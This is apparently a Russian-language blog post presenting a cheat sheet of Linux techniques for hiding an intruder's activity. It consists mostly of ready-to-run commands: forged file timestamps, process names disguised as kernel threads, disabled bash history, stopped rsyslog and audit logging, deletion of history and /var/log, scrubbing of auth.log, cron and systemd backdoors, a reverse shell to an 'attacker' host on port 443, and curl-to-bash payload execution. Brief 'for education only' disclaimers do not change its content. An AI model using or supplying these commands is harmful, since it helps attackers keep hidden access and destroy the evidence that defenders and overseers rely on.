В мире тестирования безопасности важно не только «залезть внутрь», но и сделать это так, чтобы никто не заметил. Ниже собраны практики, которые используют пентестеры и исследователи, чтобы их действия было сложнее заметить. Все примеры — только для обучения и безопасных экспериментов. Рекомендую всем изучить и добавить свои методы в комментариях ...
1. Подделка времени файлов
Файлы можно «состарить» или замаскировать под системные.
touch -r /bin/ls test.sh # время как у ls
touch -t 202001011200.00 test.sh # время «из прошлого»
Так скрипт не будет выделяться в списке новых файлов.
2. Маскировка процессов
В Linux любой процесс можно увидеть через ps. Но и тут есть трюки:
exec -a "[kworker/0:1H]" ./script.sh
Теперь процесс выглядит как «системный».
А ещё можно поменять имя через /proc:
echo "httpd" > /proc/$$/comm
3. Работа без истории Bash
История команд часто выдаёт действия. Решение — отключить её:
HISTFILE=/dev/null
unset HISTFILE
set +o history
Или очистить в конце:
history -c && history -w
4. Отключение логирования
Иногда проще временно выключить логи:
service rsyslog stop # остановка syslog
auditctl -e 0 # отключение аудита
В реальных условиях такие действия заметны, поэтому использовать осторожно.
5. Алиасы для маскировки
Алиасы позволяют «подменять» команды.
alias ls='ls --color=auto --hide=payload.sh'
Теперь твой файл не видно при обычном ls.
А можно сделать алиас для очистки следов:
alias vanish='rm -rf ~/.bash_history /var/log/*'
6. Скрытые файлы
Файлы, начинающиеся с точки, не видны без ls -a:
mv payload.sh .payload.sh
Или можно замаскировать под системный сервис:
mv script.sh systemd-update.sh
7. Скрытый сетевой трафик
Обратные шеллы часто палятся по «левым» портам. Решение — использовать привычные:
bash -i >& /dev/tcp/attacker/443 0>&1
443 — порт HTTPS, и в логах он не вызовет подозрений.
8. Чистка логов
Удалить записи о себе можно так:
> /var/log/auth.log
sed -i '/username/d' /var/log/auth.log
Но резкая «чистота» логов иногда подозрительнее, чем отдельные следы.
9. Скрытая постоянка
Нужен доступ «на потом»? Можно спрятать скрипт в cron:
(crontab -l ; echo "*/5 * * * * /usr/local/bin/.sys-update.sh") | crontab -
Или оформить под systemd-сервис.
10. Скрипты без файлов
Можно даже не сохранять файлы, а запускать их напрямую:
curl http://site/payload.sh | bash
Так ничего не попадёт на диск. А если и сохранить — лучше в /dev/shm или /tmp, которые очищаются при перезагрузке.
Скрытность — это половина успеха. Можно взломать систему, но если останутся следы, тебя легко найдут. Эти приёмы помогают понять, как действуют настоящие атакующие, и как защититься от них.
Информация только для тестирования своих серверов
Шпаргалка |
Приём | Пример команды | Что это даёт |
---|---|---|
Подделка времени файлов | touch -r /bin/ls hack.sh | Маскирует файл под старый системный |
Фальшивое имя процесса | exec -a "[kworker/0:1H]" ./evil.sh | В ps процесс выглядит как системный |
Изменение имени в /proc | echo "httpd" > /proc/$$/comm | Скрипт «притворяется» веб-сервером |
Отключить историю Bash | HISTFILE=/dev/null; set +o history | Команды не записываются в ~/.bash_history |
Очистить историю | history -c && history -w | Стирает историю текущей сессии |
Остановить логирование | service rsyslog stop | Временное отключение системных логов |
Отключить аудит | auditctl -e 0 | Linux Audit System перестаёт писать события |
Алиас для маскировки | alias ls='ls --hide=hack.sh' | Скрывает файл из вывода ls |
Алиас для очистки | alias vanish='rm -rf ~/.bash_history /var/log/*' | Удаляет историю и логи |
Скрытые файлы | Не виден без ls -a | |
Маскировка под сервис | Выглядит как системный файл | |
Обратный шелл на 443 порту | bash -i >& /dev/tcp/ip/443 0>&1 | Трафик «прячется» под HTTPS |
Очистка логов | sed -i '/user/d' /var/log/auth.log | Удаляет записи о пользователе |
Крон-бэкдор | `(crontab -l; echo “*/5 * * * * /usr/local/bin/.sys.sh”) | crontab -` |
Systemd-бэкдор | ExecStart=/usr/local/bin/.update.sh | Скрипт маскируется под службу |
Запуск без сохранения файла | `curl http://x/payload.sh | bash` |